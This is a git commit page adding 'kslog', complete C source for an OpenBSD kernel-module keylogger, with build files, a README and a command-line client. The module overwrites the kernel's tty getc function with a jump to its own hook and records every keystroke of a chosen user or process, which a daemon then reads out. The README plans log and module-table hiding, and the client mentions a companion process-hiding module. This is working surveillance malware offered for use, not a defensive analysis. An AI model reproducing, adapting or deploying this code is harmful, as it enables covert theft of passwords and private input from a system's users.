summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorDimitri Sokolyuk <demon@dim13.org>2005-04-04 20:47:31 +0000
committerDimitri Sokolyuk <demon@dim13.org>2005-04-04 20:47:31 +0000
commitaac40f919e5f2c91ab6aab59e50c6dac61eb3bd3 (patch)
tree6dc4a6987c646d705d7c5c23588c2c6f4133d949
parent18a9944dc9aab70eb933a35c5a19a0a05c6ce381 (diff)
kslog LKM
-rw-r--r--kslog/LICENSE2
-rw-r--r--kslog/Makefile18
-rw-r--r--kslog/README45
-rw-r--r--kslog/circbuf.h35
-rw-r--r--kslog/kslog.c410
-rw-r--r--kslog/kslog.h23
-rw-r--r--kslog/kslog_cli/Makefile6
-rw-r--r--kslog/kslog_cli/kslog.h23
-rw-r--r--kslog/kslog_cli/kslog_cli.c279
9 files changed, 841 insertions, 0 deletions
diff --git a/kslog/LICENSE b/kslog/LICENSE
new file mode 100644
index 0000000..3e4fd56
--- /dev/null
+++ b/kslog/LICENSE
@@ -0,0 +1,2 @@
+
+This software is licensed under the free as in freedom license.
diff --git a/kslog/Makefile b/kslog/Makefile
new file mode 100644
index 0000000..57e30e3
--- /dev/null
+++ b/kslog/Makefile
@@ -0,0 +1,18 @@
+SRC = kslog
+
+all: lkm cli
+
+lkm:
+ gcc -D_KERNEL -I/sys -c $(SRC).c
+
+cli:
+ cd kslog_cli; make; cd ..
+
+load:
+ sudo modload -o $(SRC) -ehandler $(SRC).o
+
+unload:
+ sudo modunload -n $(SRC)
+
+clean:
+ rm -rf $(SRC) $(SRC).o; cd kslog_cli; make clean; cd ..
diff --git a/kslog/README b/kslog/README
new file mode 100644
index 0000000..d2021c3
--- /dev/null
+++ b/kslog/README
@@ -0,0 +1,45 @@
+kslog v0.1 a2
+----------
+
+
+introduction
+----------
+
+This is a simple toolkit for logging terminal input at the kernel level. The kslog LKM hijacks the tty input function getc and processes all terminal input. Keystrokes that belong to a specified user id or process id are placed in a buffer in-kernel and made available to userland processes via a character device interface. Some work needs to be done on processing of keystroke data prior to passing to the userland accessible character device buffer.
+
+
+how to build, use and clean in 10 easy steps
+----------
+
+1. cd <kslog_directory>
+2. make
+3. make load
+4. mknod -m 644 /dev/kslog c 29 0
+5. cd kslog_cli
+6. ./kslog -g
+7. cd ..
+8. make unload
+9. rm /dev/kslog
+10. make clean
+
+
+notes
+-----------
+if you are having problems consult the best documentation available: the source code.
+
+
+stuff to add
+-----------
+improved keystroke pre-processing, dmesg hiding, LKM table hiding.
+
+
+related code
+-----------
+prochide-v0.1.tar.gz - openbsd kernel mode process hiding LKM available from http://gravitino.net/~mike/.
+
+
+contact
+-----------
+send e-mail to mike@gravitino.net
+
+-mike
diff --git a/kslog/circbuf.h b/kslog/circbuf.h
new file mode 100644
index 0000000..a5a590a
--- /dev/null
+++ b/kslog/circbuf.h
@@ -0,0 +1,35 @@
+/*
+ * circbuf.h
+ *
+ * circular buffer interface
+ *
+ * mike@gravitino.net
+ */
+
+typedef struct circular_buffer
+{
+ int len ;
+ int size;
+ int next;
+ int curr;
+ int loop;
+
+ unsigned char *buf;
+
+} circular_buffer;
+
+/*
+ * initialize circular_buffer structure:
+ * zero out structure & save buf & len args to structure members
+ */
+void cb_init(circular_buffer *cb, unsigned char *buf, int len);
+
+/*
+ * place character into circular buffer
+ */
+void cb_putc(circular_buffer *cb, char ch);
+
+/*
+ * remove character from circular buffer
+ */
+int cb_getc(circular_buffer *cb, char *ch);
diff --git a/kslog/kslog.c b/kslog/kslog.c
new file mode 100644
index 0000000..1b398a5
--- /dev/null
+++ b/kslog/kslog.c
@@ -0,0 +1,410 @@
+/*
+ * kslog.c
+ *
+ * keystroke logging LKM for OpenBSD 2.9 (untested on other versions).
+ *
+ * logs keystrokes from one UID or PID and places into circular char
+ * buffer. characters can be retrieved via the /dev/kslog character
+ * device using the kslog userland application (or an easily written
+ * custom application).
+ *
+ * mike@gravitino.net
+ */
+
+#include <sys/param.h>
+#include <sys/fcntl.h>
+#include <sys/systm.h>
+#include <sys/ioctl.h>
+#include <sys/exec.h>
+#include <sys/conf.h>
+#include <sys/lkm.h>
+#include <sys/tty.h>
+#include <sys/proc.h>
+#include <sys/malloc.h>
+
+#include "kslog.h"
+#include "circbuf.h"
+
+#define MOD_NAME "kslog"
+
+/*
+ * device initialization macro
+ */
+#define cdev_init(c, n) \
+ { \
+ dev_init(c,n,open), \
+ dev_init(c,n,close), \
+ dev_init(c,n,read), \
+ (dev_type_write((*))) lkmenodev,\
+ dev_init(c,n,ioctl), \
+ (dev_type_stop((*))) lkmenodev,\
+ 0, \
+ (dev_type_select((*))) lkmenodev,\
+ (dev_type_mmap((*))) lkmenodev \
+ }
+
+/*
+ *
+ * character device functions:
+ *
+ * open()
+ * -----------
+ * does nothing.
+ *
+ * read()
+ * -----------
+ * read returns up to size of provided buffer number of keystrokes or the
+ * current number of buffered keystrokes or -1 if no keystrokes are saved.
+ *
+ * close()
+ * -----------
+ * does nothing.
+ *
+ * ioctl()
+ * -----------
+ * ioctl is the main "control" function. UID/PID is set via ioctl. kslog
+ * START/STOP is set via ioctl.
+ *
+ */
+int kslog_open __P((dev_t dev, int oflags, int devtype, struct proc *p));
+int kslog_read __P((dev_t dev, struct uio *uio, int ioflag));
+int kslog_close __P((dev_t dev, int fflag, int devtype, struct proc *p));
+int kslog_ioctl __P((dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p));
+int kslog_handler __P((struct lkm_table *lkmtp, int cmd));
+
+/*
+ * declare & init character device structure
+ */
+cdev_decl(kslog);
+static struct cdevsw cdev_kslog = cdev_init(1, kslog_);
+
+/*
+ * character device module
+ */
+MOD_DEV(MOD_NAME, LM_DT_CHAR, -1, &cdev_kslog);
+
+/*
+ * kslog specific variables & data structures
+ */
+#define UID 0
+#define PID 1
+
+//
+// track current status
+//
+static int active;
+
+//
+// uid/pid to log
+//
+static int Xid;
+
+//
+// id type, either UID or PID constant vlaue
+//
+static int id_type;
+
+//
+// our circular char buffer
+//
+static circular_buffer circbuf;
+
+/*
+ * function hijacking stuff
+ */
+#define CODE_LEN 7
+
+/*
+ * tty get char function to hijack
+ */
+extern int getc __P((struct clist *));
+
+/*
+ * current process (that we're in the context of when capturing the keystroke)
+ */
+extern struct proc *curproc;
+
+/*
+ * our fluffy little buffers.
+ */
+static char getc_svd_code[CODE_LEN];
+static char getc_jmp_code[] = "\xB8\x00\x00\x00\x00\xFF\xE0";
+
+/*
+ * circular buffer functions..
+ */
+
+/*
+ * initialize circular_buffer structure:
+ * zero out structure & save buf & len args to structure members
+ */
+void cb_init(circular_buffer *cb, unsigned char *buf, int len)
+{
+ memset(cb, 0, sizeof(circular_buffer));
+
+ /*
+ * allocate & initialize buffer
+ */
+ cb->buf = buf;
+ cb->len = len;
+}
+
+/*
+ * place character into circular buffer
+ */
+void cb_putc(circular_buffer *cb, char ch)
+{
+ cb->buf[cb->curr] = ch;
+
+ if(cb->size < cb->len)
+ ++cb->size;
+
+ if(cb->loop && cb->next == cb->curr)
+ if(++cb->next == cb->len)
+ cb->next = 0;
+
+ if(++cb->curr == cb->len)
+ {
+ cb->curr = 0;
+ cb->loop = 1;
+ }
+}
+
+/*
+ * remove character from circular buffer
+ */
+int cb_getc(circular_buffer *cb, char *ch)
+{
+ if(cb->size == 0)
+ return -1;
+
+ *ch = cb->buf[cb->next];
+
+ if(--cb->size == 0)
+ cb->curr =
+ cb->next =
+ cb->loop = 0;
+ else
+ if(++cb->next == cb->len)
+ cb->next = 0;
+
+ return 0;
+}
+
+//
+// hijack function - need to investigate spl*() usage.
+//
+static int h_getc (struct clist *l)
+{
+ int ret;
+ int s;
+ int tmp_id = -1;
+
+ s = spltty();
+ memcpy(getc, getc_svd_code, CODE_LEN);
+ splx(s);
+
+ ret = getc(l);
+
+ s = spltty();
+ memcpy(getc, getc_jmp_code, CODE_LEN);
+ splx(s);
+
+ //
+ // process keystroke - log if uid/pid matches Xid
+ //
+ if(ret > 0 && curproc != NULL)
+ {
+ if(id_type == UID)
+ {
+ if(curproc->p_cred != NULL)
+ {
+ tmp_id = curproc->p_cred->p_ruid;
+ }
+ }
+ else // PID
+ {
+ tmp_id = curproc->p_pid;
+ }
+
+ if(tmp_id != -1 && tmp_id == Xid)
+ {
+ cb_putc(&circbuf, ret);
+ }
+ }
+
+ return(ret);
+}
+
+/*
+ * open()
+ */
+int kslog_open (dev_t dev, int oflags, int devtype, struct proc *p)
+{
+ return(0);
+}
+
+/*
+ * read()
+ */
+
+//
+// currently only support non-vector reads (read() not readv())
+//
+int kslog_read (dev_t dev, struct uio *uio, int ioflag)
+{
+ struct iovec *vec;
+ int iovcnt = 0;
+ int cnt = 0;
+ int error = 0;
+ int len = 0;
+ char ch;
+
+ if(uio != NULL && active != 0)
+ {
+ len = uio->uio_resid;
+
+ while(cnt < len && cb_getc(&circbuf, &ch) != -1)
+ {
+ error = uiomove(&ch, 1, uio);
+ if(error)
+ {
+ break;
+ }
+ ++cnt;
+ }
+ }
+
+ return(error);
+}
+
+/*
+ * close()
+ */
+int kslog_close (dev_t dev, int fflag, int devtype, struct proc *p)
+{
+ return(0);
+}
+
+/*
+ * ioctl()
+ */
+int kslog_ioctl (dev_t dev, u_long cmd, caddr_t data, int fflag, struct proc *p)
+{
+ unsigned int addr = 0;
+ int retval = 0;
+ struct kslog_op *op = NULL;
+
+ /*
+ * process IOCTL commands for kslog
+ */
+ switch(cmd)
+ {
+ case KSLOG_SETPID:
+
+ op = (struct kslog_op *)data;
+ id_type = PID;
+ Xid = op->val;
+
+ break;
+
+ case KSLOG_SETUID:
+
+ op = (struct kslog_op *)data;
+ id_type = UID;
+ Xid = op->val;
+
+ break;
+
+ case KSLOG_START:
+
+ if(!active)
+ {
+ memcpy(getc_svd_code, getc, CODE_LEN);
+ addr = (unsigned int)h_getc;
+ memcpy(getc_jmp_code + 1, &addr, 4);
+
+ // hijack getc here
+ memcpy(getc, getc_jmp_code, CODE_LEN);
+ active = 1;
+ }
+
+ break;
+
+ case KSLOG_STOP:
+
+ if(active)
+ {
+ // unhijack
+ memcpy(getc, getc_svd_code, CODE_LEN);
+ active = 0;
+ circbuf.size =
+ circbuf.next =
+ circbuf.curr =
+ circbuf.loop = 0;
+ }
+
+ break;
+
+ case KSLOG_STATUS:
+
+ op = (struct kslog_op *)data;
+ printf("status is: %d\n", active);
+ op->val = active;
+
+ break;
+
+ default:
+
+ retval = ENOTTY; // this the right error value?
+
+ break;
+ }
+
+ return(retval);
+}
+
+/*
+ * handler()
+ */
+int kslog_handler (struct lkm_table *lkmtp, int cmd)
+{
+ if(cmd == LKM_E_LOAD)
+ {
+ active =
+ id_type =
+ Xid = 0;
+
+ // allocate circular buffer space & initialize
+ // circular buffer structure
+
+ circbuf.buf = (char *)malloc(CBUF_SIZE, M_DEVBUF, M_WAITOK);
+ if(circbuf.buf == NULL)
+ {
+ return(-1);
+ }
+
+ cb_init(&circbuf, circbuf.buf, CBUF_SIZE);
+ }
+ else if(cmd == LKM_E_UNLOAD)
+ {
+ // if active, deactivate
+ if(active)
+ {
+ memcpy(getc, getc_svd_code, CODE_LEN);
+ }
+
+ // deallocate buffer space
+ free(circbuf.buf, M_DEVBUF);
+ }
+
+ return(0);
+}
+
+/*
+ * entry point
+ */
+int handler(struct lkm_table *lkmtp, int cmd, int ver)
+{
+ DISPATCH(lkmtp, cmd, ver, kslog_handler, kslog_handler, lkm_nofunc);
+}
diff --git a/kslog/kslog.h b/kslog/kslog.h
new file mode 100644
index 0000000..4db963c
--- /dev/null
+++ b/kslog/kslog.h
@@ -0,0 +1,23 @@
+/*
+ * kslog.h
+ *
+ * kslog defines, etc.
+ *
+ * mike@gravitino.net
+ */
+
+// keystroke circular buffer size
+#define CBUF_SIZE 1024
+
+// ioctl cmd structure
+typedef struct kslog_op
+{
+ // id if related to operation (PID/UID)
+ int val;
+} kslog_op;
+
+#define KSLOG_SETPID _IOW('O', 0, struct kslog_op)
+#define KSLOG_SETUID _IOW('O', 1, struct kslog_op)
+#define KSLOG_START _IOW('O', 2, struct kslog_op)
+#define KSLOG_STOP _IOW('O', 3, struct kslog_op)
+#define KSLOG_STATUS _IOR('O', 4, struct kslog_op)
diff --git a/kslog/kslog_cli/Makefile b/kslog/kslog_cli/Makefile
new file mode 100644
index 0000000..8e4d535
--- /dev/null
+++ b/kslog/kslog_cli/Makefile
@@ -0,0 +1,6 @@
+
+all:
+ gcc -o kslog kslog_cli.c
+
+clean:
+ rm -rf *.o *.core kslog
diff --git a/kslog/kslog_cli/kslog.h b/kslog/kslog_cli/kslog.h
new file mode 100644
index 0000000..4db963c
--- /dev/null
+++ b/kslog/kslog_cli/kslog.h
@@ -0,0 +1,23 @@
+/*
+ * kslog.h
+ *
+ * kslog defines, etc.
+ *
+ * mike@gravitino.net
+ */
+
+// keystroke circular buffer size
+#define CBUF_SIZE 1024
+
+// ioctl cmd structure
+typedef struct kslog_op
+{
+ // id if related to operation (PID/UID)
+ int val;
+} kslog_op;
+
+#define KSLOG_SETPID _IOW('O', 0, struct kslog_op)
+#define KSLOG_SETUID _IOW('O', 1, struct kslog_op)
+#define KSLOG_START _IOW('O', 2, struct kslog_op)
+#define KSLOG_STOP _IOW('O', 3, struct kslog_op)
+#define KSLOG_STATUS _IOR('O', 4, struct kslog_op)
diff --git a/kslog/kslog_cli/kslog_cli.c b/kslog/kslog_cli/kslog_cli.c
new file mode 100644
index 0000000..22ac641
--- /dev/null
+++ b/kslog/kslog_cli/kslog_cli.c
@@ -0,0 +1,279 @@
+/*
+ * kslog_cli.c
+ *
+ * kslog keystroke logging LKM command line client. supports
+ * settings of logging options and execution as log daemon.
+ * in log daemon mode, process can be hidden using prochide
+ * LKM package availabel from http://gravitino.net/~mike/.
+ *
+ * mike@gravitino.net
+ */
+
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioccom.h>
+
+#include "kslog.h"
+
+#define CMD_SETUID 0x01
+#define CMD_SETPID 0x02
+#define CMD_START 0x04
+#define CMD_STOP 0x08
+#define CMD_STATUS 0x10
+#define CMD_LOG 0x20
+#define CMD_DAEMON 0x40
+
+#define DEVICE "/dev/kslog"
+
+#define BUF_SIZE 100
+
+#define NEWLINE "\n"
+
+#define BANNER "*************************************************\n" \
+ "* kslog v0.1 - mike@gravitino.net\n" \
+ "*************************************************\n"
+
+#define USAGE "*\n* USAGE:\n" \
+ "*\n" \
+ "* -u UID set user id to log.\n" \
+ "* -p PID set process id to log.\n" \
+ "* -s start logging.\n" \
+ "* -q quit logging.\n" \
+ "* -g get status.\n" \
+ "* -d run as daemon and log to file.\n" \
+ "*\n" \
+ "*************************************************\n"
+
+#define FAILED_TO_OPEN "failed to open device.\n"
+
+#define ISSET(i, f) i & f
+#define SET(c, f) c ^= f
+
+void usage ()
+{
+ write(2, USAGE, strlen(USAGE));
+}
+
+//
+// check for proper combination of commands
+//
+int validate_cmd(int cmd)
+{
+ // no cl options
+ if(cmd == 0)
+ {
+ return(-1);
+ }
+
+ // mutually exclusive
+ if(ISSET(cmd, CMD_SETPID) &&
+ ISSET(cmd, CMD_SETUID))
+ {
+ return(-1);
+ }
+
+ if(ISSET(cmd, CMD_START) &&
+ ISSET(cmd, CMD_STOP ))
+ {
+ return(-1);
+ }
+
+ if(ISSET(cmd, CMD_STOP ) &&
+ ISSET(cmd, CMD_DAEMON))
+ {
+ return(-1);
+ }
+
+ return(0);
+}
+
+int main(int argc, char *argv[])
+{
+ struct kslog_op op;
+ char ch = 0;
+ int cmd = 0;
+ int Xid = 0;
+ int fd = 0;
+ char *p_id = NULL;
+ int len = 0;
+ char buf[BUF_SIZE];
+ int x = 0;
+
+ write(2, BANNER, strlen(BANNER));
+
+ opterr = 0;
+
+ /*
+ * parse command line args..
+ */
+ while((ch = getopt(argc, argv, "u:p:o:dsqg")) != -1)
+ {
+ switch(ch)
+ {
+ case 'u':
+
+ p_id = optarg;
+ SET(cmd, CMD_SETUID);
+ break;
+
+ case 'p':
+
+ p_id = optarg;
+ SET(cmd, CMD_SETPID);
+ break;
+
+ case 's':
+
+ SET(cmd, CMD_START );
+ break;
+
+ case 'q':
+
+ SET(cmd, CMD_STOP );
+ break;
+
+ case 'g':
+
+ SET(cmd, CMD_STATUS);
+ break;
+
+ case 'd':
+
+ SET(cmd, CMD_DAEMON);
+ break;
+
+ case '?':
+ usage();
+ return(1);
+ }
+ }
+
+ // make sure commands are not mutually exclusive
+ if(validate_cmd(cmd) != 0)
+ {
+ usage();
+ return(1);
+ }
+
+ // open char device
+ if((fd = open(DEVICE, O_RDONLY)) == -1)
+ {
+ perror(FAILED_TO_OPEN);
+ return(1);
+ }
+
+ if(ISSET(cmd, CMD_SETPID) ||
+ ISSET(cmd, CMD_SETUID))
+ {
+ Xid = atoi(p_id);
+ }
+
+ if(ISSET(cmd, CMD_SETPID))
+ {
+ op.val = Xid;
+ if(ioctl(fd, KSLOG_SETPID, &op) == -1)
+ {
+ close(fd);
+ perror("setpid ioctl failed.\n");
+ return(1);
+ }
+
+ printf("pid %d set\n", Xid);
+ }
+
+ if(ISSET(cmd, CMD_SETUID))
+ {
+ op.val = Xid;
+ if(ioctl(fd, KSLOG_SETUID, &op) == -1)
+ {
+ close(fd);
+ perror("setuid ioctl failed.\n");
+ return(1);
+ }
+
+ printf("uid %d set\n", Xid);
+ }
+
+ if(ISSET(cmd, CMD_STATUS))
+ {
+ op.val = 0;
+ if(ioctl(fd, KSLOG_STATUS, &op) == -1)
+ {
+ close(fd);
+ perror("status ioctl failed.\n");
+ return(1);
+ }
+
+ printf("kslog is: %s\n", (op.val == 0 ? "off" : "on"));
+ }
+
+ if(ISSET(cmd, CMD_START))
+ {
+ if(ioctl(fd, KSLOG_START, &op) == -1)
+ {
+ close(fd);
+ perror("start ioctl failed.\n");
+ return(1);
+ }
+
+ printf("started\n");
+ }
+
+ if(ISSET(cmd, CMD_STOP))
+ {
+ if(ioctl(fd, KSLOG_STOP, &op) == -1)
+ {
+ close(fd);
+ perror("stop ioctl failed.\n");
+ return(1);
+ }
+
+ printf("stopped\n");
+ }
+
+ if(ISSET(cmd, CMD_DAEMON))
+ {
+ while(1)
+ {
+ len = read(fd, buf, BUF_SIZE);
+ if(len > 0)
+ {
+ for(x=0; x < len; ++x)
+ {
+ ch = buf[x];
+
+ if(ch == '\n' ||
+ (ch > 31 && ch <= 'z'))
+ {
+ printf("%c", ch);
+ fflush((FILE *)0);
+ }
+ }
+ }
+
+ sleep(1);
+ }
+ }
+
+ close(fd);
+
+ return(0);
+}
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+